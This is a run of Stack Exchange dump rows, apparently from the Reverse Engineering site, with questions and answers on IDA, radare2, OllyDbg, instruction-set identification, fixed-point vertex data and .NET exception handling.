  <row Id="4497" PostTypeId="2" ParentId="4491" CreationDate="2014-06-01T11:16:14.293" Score="2" Body="&lt;p&gt;Whatever you enter in the &quot;Condition&quot; field is executed as an IDC script. According to &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idadoc/1407.shtml&quot; rel=&quot;nofollow&quot;&gt;the IDA debugger documentation&lt;/a&gt;, the action is supposed to be a test. It's unclear if it explicitly allows assignments or if it's just a side effect that sometimes works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try something like this instead: &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idadoc/170.shtml&quot; rel=&quot;nofollow&quot;&gt;SetRegValue(al-1, &quot;al&quot;)&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't have IDA on hand to test this out, but the function returns true so it might avoid the problem you're seeing.&lt;/p&gt;&#xA;" OwnerUserId="4535" LastActivityDate="2014-06-01T11:16:14.293" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4498" PostTypeId="2" ParentId="4490" CreationDate="2014-06-01T13:25:08.397" Score="1" Body="&lt;p&gt;I am not sure there is a definitive answer to this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, anyone with physical access to the system can do a whole manner of things that TPM may not be able to prevent. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, the TPM itself could be reverse engineered: &lt;a href=&quot;http://gcn.com/articles/2010/02/02/black-hat-chip-crack-020210.aspx?m=1&quot; rel=&quot;nofollow&quot;&gt;http://gcn.com/articles/2010/02/02/black-hat-chip-crack-020210.aspx?m=1&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you have timing attacks and other side channels.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And as you say yourself, cost and complexity: this is well summed up by Andrew 'Bunnie' Huang in 'Hacking the Xbox' (pg. 203, &lt;a href=&quot;http://www.nostarch.com/xboxfree&quot; rel=&quot;nofollow&quot;&gt;http://www.nostarch.com/xboxfree&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;In the consumer electronics industry, one can either ship a perfect&#xA;  product, or one can make money. Products that don't make money are&#xA;  quickly cancelled. Thus, it is very rare to find a consumer product that is&#xA;  technically perfect in all respects. As a result, the only practical way to&#xA;  guarantee the security of consumer electronics system as complex as&#xA;  Palladium is to throw it into the wild, and let the hackers have their way&#xA;  with it for many years until all of the big security holes have been&#xA;  discovered and plugged.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;On the other hand, the TCPA's TPM is a device created to solve a certain&#xA;  set of problems that is smaller in scope than Palladium's. Thus, the TPM&#xA;  is not as exciting from a market perspective, but it may be more practical&#xA;  and serviceable for its intended purpose. Both the TPM and Palladium&#xA;  are weak to hardware attacks, but the TPM doesn't attempt to extend&#xA;  security requirements as far into third-party system design territory. The&#xA;  TPM is primarily a secured key management module that can detect most&#xA;  modifications and intrusions to the host system. The software layers built&#xA;  on top of this substrate do the rest of the heavy lifting, caveat emptor.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="4212" LastActivityDate="2014-06-01T13:25:08.397" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4500" PostTypeId="2" ParentId="4222" CreationDate="2014-06-01T20:49:29.700" Score="3" Body="&lt;p&gt;I'm not familiar with that tool, so I don't have an answer for your specific question.  But here are two pieces of advice:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) there are &lt;a href=&quot;http://www.buildinginternetofthings.com/2012/03/25/arduino-simulators/&quot; rel=&quot;nofollow&quot;&gt;many arduino simulators&lt;/a&gt; that you can use to single-step thru the code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) The Arduino is small and simple enough that you should be able to reverse engineer it using only the (dis)assembly and your brain.  (Unlike the x86, which has hundreds ways to make your life complicated.) Yes, it takes time, but the more you do it, the faster you become.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just start scan through the listing. Try  to find small, self-contained subroutines. Figure out what their input and outputs looks like. Make a guess as to what their function is. (&quot;LED blink&quot;, &quot;checksum routine&quot;, &quot;bit-bang an extra I2C bus&quot;, &quot;check for button press&quot;) Soon, it will snowball, and the higher level routines will be easier to understand because you know what the lower ones do. Sometimes you'll hit the limits of your knowledge, but you can make educated guesses based on what you know the software does. (i.e. &quot;this must where it does a &lt;a href=&quot;http://en.wikipedia.org/wiki/Forier_transform&quot; rel=&quot;nofollow&quot;&gt;Fourier transform&lt;/a&gt;&quot;)&lt;/p&gt;&#xA;" OwnerUserId="3498" LastActivityDate="2014-06-01T20:49:29.700" CommentCount="0" CommunityOwnedDate="2014-06-01T20:49:29.700" ContentLicense="CC BY-SA 3.0" />
  <row Id="4501" PostTypeId="2" ParentId="4062" CreationDate="2014-06-01T21:18:54.010" Score="1" Body="&lt;p&gt;I don't have a real answer, I can think of two possible routes:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Reverse engineer the Pro Tools program to find out where it draws the meters, and patch it to 'do something else' like send serial data to your Microcontroller.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Total hack: Have a webcam look at your screen. Write a program in &lt;a href=&quot;http://opencv.org/about.html&quot; rel=&quot;nofollow&quot;&gt;OpenCV&lt;/a&gt; that parses the on-screen bargraph and turns it into numbers for your micro-controller.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Depending on your priorities/skills, #2 may actually be simpler.&lt;/p&gt;&#xA;" OwnerUserId="3498" LastEditorUserId="53" LastEditDate="2014-06-02T17:04:40.553" LastActivityDate="2014-06-02T17:04:40.553" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4502" PostTypeId="1" CreationDate="2014-06-02T08:05:31.553" Score="1" ViewCount="98" Body="&lt;p&gt;I need to allocate in Special address. How can I force free parts of the memory to be allocated in the process ?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ZwFreeVirtualMemory(0,(LPVOID*)&amp;amp;(ImageBase),&amp;amp;(SizeOfImage),MEM_RELEASE );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4754" LastEditorUserId="53" LastEditDate="2014-06-02T09:58:45.787" LastActivityDate="2014-06-02T09:58:45.787" Title="How can force free part of memory in process?" Tags="|memory|pe|" AnswerCount="1" CommentCount="1" ClosedDate="2014-06-02T21:35:29.447" ContentLicense="CC BY-SA 3.0" />
  <row Id="4503" PostTypeId="2" ParentId="4502" CreationDate="2014-06-02T09:07:53.910" Score="1" Body="&lt;p&gt;You could do that by attaching a debugger to the process and call the function from within the debugger. But, as this would invalidate all pointers from your application into that force-free'd area, your application would crash as soon as it tries to dereference one of that pointers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only way to make sure you can allocate a specific memory location is allocating it as soon as possible in your program, before anything else takes it away.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please, when you post, tell us a bit more about what you want to do and why you want to do it. There's generally no good reason to allocate a specific address in &lt;em&gt;virtual&lt;/em&gt; memory, but there might be reasons to have a map for a specific &lt;em&gt;physical&lt;/em&gt; address if there's hardware at that address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So i assume your question is an &lt;a href=&quot;http://mywiki.wooledge.org/XyProblem&quot; rel=&quot;nofollow&quot;&gt;X-Y Problem&lt;/a&gt;, and your real question is &quot;How can i allocate a chunk of virtual memory that maps to a certain physical address&quot;. But without any context, it's impossible to know how to help you.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2014-06-02T09:07:53.910" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4504" PostTypeId="1" AcceptedAnswerId="4506" CreationDate="2014-06-02T13:54:38.543" Score="5" ViewCount="3337" Body="&lt;h1&gt;Constraints:&lt;/h1&gt;&#xA;&lt;p&gt;I am doing reverse engineering of a binary firmware image of unknown provenance, which operates on a device that is &lt;strong&gt;not&lt;/strong&gt; physically accessible to me.  That is, I can't take apart the device, don't have even block diagrams for its function, and have no ability to identify the microprocessor by visual inspection or by asking the creator of the object.  Literally the &lt;em&gt;only&lt;/em&gt; thing available is the binary image.&lt;/p&gt;&#xA;&lt;h1&gt;The Question:&lt;/h1&gt;&#xA;&lt;p&gt;My question is: &lt;strong&gt;given those constraints&lt;/strong&gt; what tools or theoretical approaches could be employed to identify the processor's instruction set by examining the binary?&lt;/p&gt;&#xA;&lt;h1&gt;Research so far:&lt;/h1&gt;&#xA;&lt;p&gt;I have, of course, attempted to use disassemblers for various popular ISAs such as ARM, x86 and MIPS.  I have also done a literature search for research papers but haven't turned up anything at all.&lt;/p&gt;&#xA;&lt;p&gt;Ideally, what I'd like is a tool that would examine the binary and then report something like &amp;quot;75% probability that this is code for a Renesas M16C.&amp;quot;&lt;/p&gt;&#xA;" OwnerUserId="3557" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2014-06-02T15:34:00.690" Title="how can the processor instruction set be identified solely by examining a binary image?" Tags="|disassembly|machine-code|" AnswerCount="2" CommentCount="1" ClosedDate="2014-06-02T14:58:08.727" ContentLicense="CC BY-SA 3.0" />
  <row Id="4505" PostTypeId="2" ParentId="4062" CreationDate="2014-06-02T14:20:09.503" Score="1" Body="&lt;p&gt;I think what you're after is developing a plugin for protools.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check &lt;a href=&quot;https://www.avid.com/us/partners/audio-plugin-dev-program&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; site out to get started.  I have no idea what &quot;Applying to be a plugin developer&quot; means in the world of ProTools, but the SDK that you'll get access to will likely answer most of your questions.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;From a reverse engineering perspective, I'll add to @BraveNewCurrency 's answers and suggest finding out where ProTools stores the *.wav files for each of its tracks, and writing a DSP program to capture what you want.  You didn't specify whether or not the data had to be real-time, so this approach won't work if you need real-time.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Outside of this, BraveNewCurrency's first answer is the only other option I see.  Reverse-engineering ProTools will likely be quite difficult because there's usually a TON of piracy protection on flagship studio software... Don't know about ProTools, but Cubase has a hardware dongle and emulating that isn't trivial.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem to solve here is to be able to find where ProTools stores its audio-buffers at runtime and more or less be able to monitor the data.  OR if you can figure out what functions its using to access audio data, hook them perhaps by using &lt;a href=&quot;http://research.microsoft.com/en-us/projects/detours/&quot; rel=&quot;nofollow&quot;&gt;Detours&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="4053" LastActivityDate="2014-06-02T14:20:09.503" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4506" PostTypeId="2" ParentId="4504" CreationDate="2014-06-02T14:21:02.460" Score="2" Body="&lt;p&gt;This is extremely hard to perform. Given no initial information, you'll have to go through it heuristically using pattern matching &amp;amp; probabilistic approximations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been working for two years on such a tool (I have written tons of helpful tools destined to be used by myself for work &amp;amp; which I plan to share someday, not soon though). It works, but it's not mature enough to be thrown in the jungle. My approach is as follows : detect binary format data structures if possible, disassemble a chunk of binary code by using multiple instruction set encoding (ARM, x86, MIPS, ...) and then heuristically assess (using bads &amp;amp; some other stuff :]) which is closer ...    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But interestingly, your question has been asked &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/2897/tool-or-data-for-analysis-of-binary-code-to-detect-cpu-architecture&quot;&gt;here&lt;/a&gt; before and an interesting approach was given and considered an answer. It uses a similar approach as in biology to identify the phylogenetic distance. &lt;/p&gt;&#xA;" OwnerUserId="4437" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.337" LastActivityDate="2014-06-02T15:34:00.690" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4508" PostTypeId="2" ParentId="4504" CreationDate="2014-06-02T14:39:04.630" Score="5" Body="&lt;p&gt;&lt;a href=&quot;http://recon.cx/2012/schedule/events/236.en.html&quot;&gt;This presentation&lt;/a&gt; offers one approach.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Title: Reverse engineering of binary programs for custom virtual machines&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Authors: Alexander Chernov and Katerina Troshina&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;Initial markup of the binary program. Identification of data&#xA;  sections and code sections. Prior information about the purpose of the&#xA;  program or even some documentation hints may be used. At this step the&#xA;  entry point to the code (or several entry points) are identified.  &lt;/li&gt;&#xA;  &lt;li&gt;Reconstruction of subroutine structure by identification of&#xA;  the subroutine borders. The subroutine return (RET) instruction is&#xA;  identified. It is naturally to expect that the last instruction in the&#xA;  code segment would be the return instruction. RET instruction normally&#xA;  separates subroutines, so we may expect, that CALL instruction should&#xA;  pass the control right after RET instruction in many (or even most)&#xA;  cases.  &lt;/li&gt;&#xA;  &lt;li&gt;Identification of the unconditional jump (JMP) instruction&#xA;  using the assumption, that code execution starts at some fixed&#xA;  address.  &lt;/li&gt;&#xA;  &lt;li&gt;Identification of call instruction. Call instructions are&#xA;  similar to unconditional jumps. By investigation of initialization&#xA;  code several candidates for the CALL instruction can be identified,&#xA;  and the one candidate remained after validation on the whole code.&lt;/li&gt;&#xA;  &lt;li&gt;Recovering of absolute and relative jumps and call by looking&#xA;  at the bit encoding of instruction and checking whether it could be an&#xA;  offset relative to the next instruction word. This way relative jumps,&#xA;  calls and candidates for conditional jumps were identified.  &lt;/li&gt;&#xA;  &lt;li&gt;Identification of memory load and store instruction by&#xA;  observing load-store patterns for memory-memory copy operations.  &lt;/li&gt;&#xA;  &lt;li&gt;Observations on the virtual machine register structure and&#xA;  register width. How many registers this VM probably has and how wide&#xA;  are they.  &lt;/li&gt;&#xA;  &lt;li&gt;Observations on the arithmetics and logics operation by&#xA;  pairing with the identified conditional jumps.&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="60" LastActivityDate="2014-06-02T14:39:04.630" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4509" PostTypeId="2" ParentId="4493" CreationDate="2014-06-03T00:45:47.823" Score="2" Body="&lt;p&gt;The program &lt;code&gt;rax2&lt;/code&gt; (part of &lt;a href=&quot;http://radare.org&quot; rel=&quot;nofollow&quot;&gt;radare2&lt;/a&gt;) can do this easily:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;rax2 10010011b&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The above will output the hex value of the binary string, in the example, &lt;code&gt;0x83&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;rax2 -b 01000011&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The above will output the string represented by the binary, e.g. &lt;code&gt;C&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="4212" LastActivityDate="2014-06-03T00:45:47.823" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4510" PostTypeId="2" ParentId="3949" CreationDate="2014-06-03T02:48:48.690" Score="6" Body="&lt;p&gt;You can disassemble a DOS 16-bit executable using &lt;a href=&quot;http://www.radare.org&quot; rel=&quot;noreferrer&quot;&gt;radare2&lt;/a&gt; as follows:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example using &lt;code&gt;TEXTINST.EXE&lt;/code&gt; from the FreeDOS 1.1 CDROM image:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bash$ radare2 TEXTINST.EXE&#xA;SS : 214f&#xA;SP : 4c00&#xA;IP : 0&#xA;CS : 0&#xA;NRELOCS: 1&#xA;RELOC  : 1c&#xA;CHKSUM : 0&#xA;[0000:0020]&amp;gt; aa&#xA;[0000:0020]&amp;gt; pd 10&#xA;   ;      [0] va=0x00000020 pa=0x00000020 sz=67272 vsz=67272 rwx=-rwx .text&#xA;            ;-- section..text:&#xA;            0000:0020    b93b03       mov cx, 0x33b&#xA;            0000:0023    be7406       mov si, 0x674&#xA;            0000:0026    89f7         mov di, si&#xA;            0000:0028    1e           push ds&#xA;            0000:0029    a9b580       test ax, 0x80b5&#xA;        |   0000:002c    8cc8         mov ax, cs&#xA;        |   0000:002e    050510       add ax, 0x1005&#xA;        |   0000:0031    8ed8         mov ds, ax&#xA;        |   0000:0033    05f010       add ax, 0x10f0&#xA;        |   0000:0036    8ec0         mov es, ax&#xA;(etc)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If required, you can force the disassembler, etc. to assume DOS as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;e asm.arch=x86&#xA;e asm.os=dos&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you think you have a DOS executable and the above doesn't work, there may be something more subtle going on, and you should post a question showing specifically what you tried, what you expect and what is not working.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Note: showing what you tried, etc. is more likely to elicit answers on the SE sites...&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="4212" LastActivityDate="2014-06-03T02:48:48.690" CommentCount="1" CommunityOwnedDate="2014-06-03T02:48:48.690" ContentLicense="CC BY-SA 3.0" />
  <row Id="4511" PostTypeId="2" ParentId="2907" CreationDate="2014-06-03T04:56:30.247" Score="2" Body="&lt;p&gt;for completeness, implementing &lt;code&gt;get_frame_retsize&lt;/code&gt; [&lt;code&gt;int (*get_frame_retsize(func_t *pfn)&lt;/code&gt;] in your &lt;code&gt;processor_t LPH&lt;/code&gt; is the solution to this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;in that function for my processor I needed to return zero instead of the default of 4.&lt;/p&gt;&#xA;" OwnerUserId="1931" LastActivityDate="2014-06-03T04:56:30.247" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4512" PostTypeId="2" ParentId="4416" CreationDate="2014-06-03T06:59:48.367" Score="1" Body="&lt;p&gt;I think there is a misunderstand here. &lt;code&gt;ESI&lt;/code&gt; is a register not a variable, so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int *esi = NULL;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you want to assign value to &lt;code&gt;esi&lt;/code&gt; in C, you should use the inline assembly brackets &lt;code&gt;asm {}&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, usually in OllyDbg &lt;code&gt;MOV ESI, DWORD PTR DS:[EBP+0x8]&lt;/code&gt; line appears at the beginning of functions like that:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;push ebp&#xA;mov ebp, esp&#xA;push esi&#xA;mov esi, [ebp +8]&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That means &lt;code&gt;esi&lt;/code&gt; will get the pointer of first argument of function. So, to write your line in C language, you should write a function with at least one parameter. The first parameters you pass to this functions will be value of &lt;code&gt;esi&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3737" LastEditorUserId="53" LastEditDate="2014-06-03T14:56:25.007" LastActivityDate="2014-06-03T14:56:25.007" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4513" PostTypeId="1" AcceptedAnswerId="4514" CreationDate="2014-06-03T07:49:54.047" Score="2" ViewCount="323" Body="&lt;p&gt;I'm analyzing an rather ancient 3D mesh format (from 1995 or 1996). Inside the files, there are blocks of what I think are vertices.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, the following is a direct hex dump from such a part:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;7855DAFF&#xA;5BE60E00&#xA;353D0200&#xA;C82D0B00&#xA;5BE60E00&#xA;353D0200&#xA;C82D0B00&#xA;5BE60E00&#xA;B61AEDFF&#xA;7855DAFF&#xA;5BE60E00&#xA;B61AEDFF&#xA;7855DAFF&#xA;59D2FDFF&#xA;363D0200&#xA;C82D0B00&#xA;59D2FDFF&#xA;363D0200&#xA;C82D0B00&#xA;59D2FDFF&#xA;B61AEDFF&#xA;7855DAFF&#xA;59D2FDFF&#xA;B61AEDFF&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;These blocks are introduced by a little header, which has a value that could be the number of vertices that are present in the corresponding data block. For this excerpt, there is a &lt;code&gt;0x08&lt;/code&gt;. Since we have 24 values of 32bit, I think it is safe to assume that these blocks are actual vertices (&lt;code&gt;0x08 * 3 = 24&lt;/code&gt;, with &lt;code&gt;xyz&lt;/code&gt;). Other headers also have this value and their data blocks also have the exact number of &lt;code&gt;dwords ([value in header] * 3 =&amp;gt; number of dwords&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, now I'm struggling at deciphering the number format that was used. It isn't IEEE754; a friend of mine also pointed out that the hardware that was used these days didn't perform well with floating-point numbers and therefore often fixed-point numbers where used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, any idea what kind of format this could be ?&lt;/p&gt;&#xA;" OwnerUserId="4763" LastEditorUserId="53" LastEditDate="2014-06-03T09:13:57.973" LastActivityDate="2014-06-03T09:13:57.973" Title="Ancient number formats (probably fixed-point)" Tags="|binary-analysis|file-format|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4514" PostTypeId="2" ParentId="4513" CreationDate="2014-06-03T08:27:20.657" Score="5" Body="&lt;p&gt;if you reverse the byte order, and assume signed numbers you get these triplets:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-2468488  976475   146741&#xA;  732616  976475   146741&#xA;  732616  976475 -1238346&#xA;-2468488  976475 -1238346&#xA;-2468488 -142759   146742&#xA;  732616 -142759   146742&#xA;  732616 -142759 -1238346&#xA;-2468488 -142759 -1238346&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;these seem like the coordinates of the corners of a 3d cube  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;x=(-2468488 .. 732616)&#xA;y=( -142759 .. 976475)&#xA;z=(-1238346 .. 146742)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1842" LastActivityDate="2014-06-03T08:27:20.657" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="4515" PostTypeId="1" CreationDate="2014-06-03T15:29:07.767" Score="-3" ViewCount="218" Body="&lt;p&gt;Where can I find the file structure of a (non-encrypted) Sybase SQL anywhere portable database (for data recovery purposes). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm aware of some tools that can do it, but I would like to build my own tool.&lt;/p&gt;&#xA;" OwnerUserId="4770" LastEditorUserId="53" LastEditDate="2014-06-03T17:15:53.160" LastActivityDate="2022-12-25T21:24:05.153" Title="SQL Anywhere file structure" Tags="|file-format|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4516" PostTypeId="2" ParentId="4515" CreationDate="2014-06-03T20:53:54.833" Score="-2" Body="&lt;p&gt;While this question is really bad for a StackExchange, nor have you shown any afford yourself. Here are the things you could do:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Reverse the File Structure&lt;/li&gt;&#xA;&lt;li&gt;Reverse Engineer an tool you are aware of that does the same.&lt;/li&gt;&#xA;&lt;li&gt;Find a document that explains how this works.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2035" LastActivityDate="2014-06-03T20:53:54.833" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4517" PostTypeId="5" CreationDate="2014-06-04T05:39:05.807" Score="0" Body="&lt;p&gt;MIPS is a common RISC (Reduced Instruction Set Computer) ISA (Instruction Set Architecture), one of the first of its kind.  Currently, MIPS can refer to both a hardware implementation of the ISA and the assembly language itself.  The &lt;a href=&quot;/questions/tagged/mips&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;mips&amp;#39;&quot; rel=&quot;tag&quot;&gt;mips&lt;/a&gt; tag is applicable to both, although most questions will probably relate to the assembly language.  MIPS originally stood for &quot;Microprocessor without Interlocked Pipeline Stages&quot;, though modern MIPS implementations now have interlocked pipeline stages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;MIPS processors come in both big-endian and little-endian (often referred to as &lt;code&gt;mipsel&lt;/code&gt;) flavours. It is likely that MIPS will be encountered when reverse engineering consumer grade routers, IP cameras, or Linux systems based on small form factors such as the Carambola2 or the Vocore, including many systems using Broadcom, Atheros and Ralink system on chips.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/MIPS_architecture&quot; rel=&quot;nofollow&quot;&gt;Wikipedia overview&lt;/a&gt;:  history, CPU families, instruction format, register usage conventions&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.mips.com/products/architectures/mips32/&quot; rel=&quot;nofollow&quot;&gt;MIPS 32 architecture&lt;/a&gt;:  manufacturer summary and links to reference manuals&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.mips.com/products/architectures/mips64/&quot; rel=&quot;nofollow&quot;&gt;MIPS 64 architecture&lt;/a&gt;:  ditto for 64-bit CPUs  (navbar has links for microMIPS, DSP ASE, MT, SmartMIPS, MIPS16, MIPS-3D, MCU ASE)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="4212" LastEditorUserId="4212" LastEditDate="2014-06-06T09:25:06.003" LastActivityDate="2014-06-06T09:25:06.003" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4518" PostTypeId="4" CreationDate="2014-06-04T05:39:05.807" Score="0" Body="RISC instruction set architecture (ISA).  It is commonly used in embedded devices such as set top boxes and networking gear. Many university-level computer architecture classes use the MIPS ISA due to its relative simplicity." OwnerUserId="4212" LastEditorUserId="53" LastEditDate="2014-06-04T07:29:02.423" LastActivityDate="2014-06-04T07:29:02.423" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4519" PostTypeId="1" CreationDate="2014-06-04T06:05:36.310" Score="8" ViewCount="514" Body="&lt;p&gt;I investigating .Net Framework JITter compilation results and I want to get programmatically exceptions handlers chain. May be somebody can help me with this investigation? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To make task easier, I debug following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class Program&#xA;{&#xA;    static void Main(string[] args) { MethodA(); }&#xA;&#xA;    static void MethodA() { MethodB(); }&#xA;&#xA;    static void MethodB() &#xA;    {&#xA;        try { MethodC(); } &#xA;          catch (Exception exception)  { MethodC(); }&#xA;    }&#xA;&#xA;    static void MethodC() { MethodD(); }&#xA;&#xA;    static void MethodD()&#xA;    {&#xA;        try { MethodE(); }&#xA;          catch (Exception exception) { MethodE(); }&#xA;    }&#xA;&#xA;    static void MethodE() { throw new Exception(); }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What's found?&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;JITter uses standart way to build stack frames (locals, &lt;code&gt;EBP&lt;/code&gt;, &lt;code&gt;EIP&lt;/code&gt;, params)&lt;/li&gt;&#xA;&lt;li&gt;First parameters moves to method via registers (fastcall)&lt;/li&gt;&#xA;&lt;li&gt;Where is try-catch-finally ? I have no idea. Really. Method have no any code to deregister last handler from chain.&lt;/li&gt;&#xA;&lt;li&gt;Static methods pushes to stack only &lt;code&gt;EBP&lt;/code&gt; and &lt;code&gt;EIP&lt;/code&gt;. This means, stack cannot contain chain and chain is out of stack.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;What I use: MS Visual Studio 2010, SOS extension for resolving .Net objects and metadata by address. VMMap to understand, what type of memory page by given address and (hehe) MS OneNote to mark memory dump with different colors to mark as resolved (that means, I understand what I found)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll be happy to understand where is this chain, but I have no experience to do it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Important note: CLR don't uses SEH for exceptions (many articles, where authors write about SEH in CLR lies. CLR only wraps SEH to translate its exceptions into CLR types)&lt;/p&gt;&#xA;" OwnerUserId="4775" LastEditorUserId="53" LastEditDate="2014-06-04T07:36:00.687" LastActivityDate="2015-04-23T05:07:35.410" Title="Reversing .Net CLR exceptions handlers chain" Tags="|disassembly|.net|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4520" PostTypeId="1" AcceptedAnswerId="4521" CreationDate="2014-06-04T10:43:36.750" Score="1" ViewCount="510" Body="&lt;p&gt;I am debugging a program that reads an environment variable. So far, I could not find how to launch it in Immunity/Olly with a custom environment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anybody know how this can be done?&lt;/p&gt;&#xA;" OwnerUserId="4776" LastEditorUserId="53" LastEditDate="2014-06-04T11:15:08.597" LastActivityDate="2014-06-04T13:59:10.523" Title="Passing an environment to debugged program in Olly/Immunity" Tags="|ollydbg|immunity-debugger|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
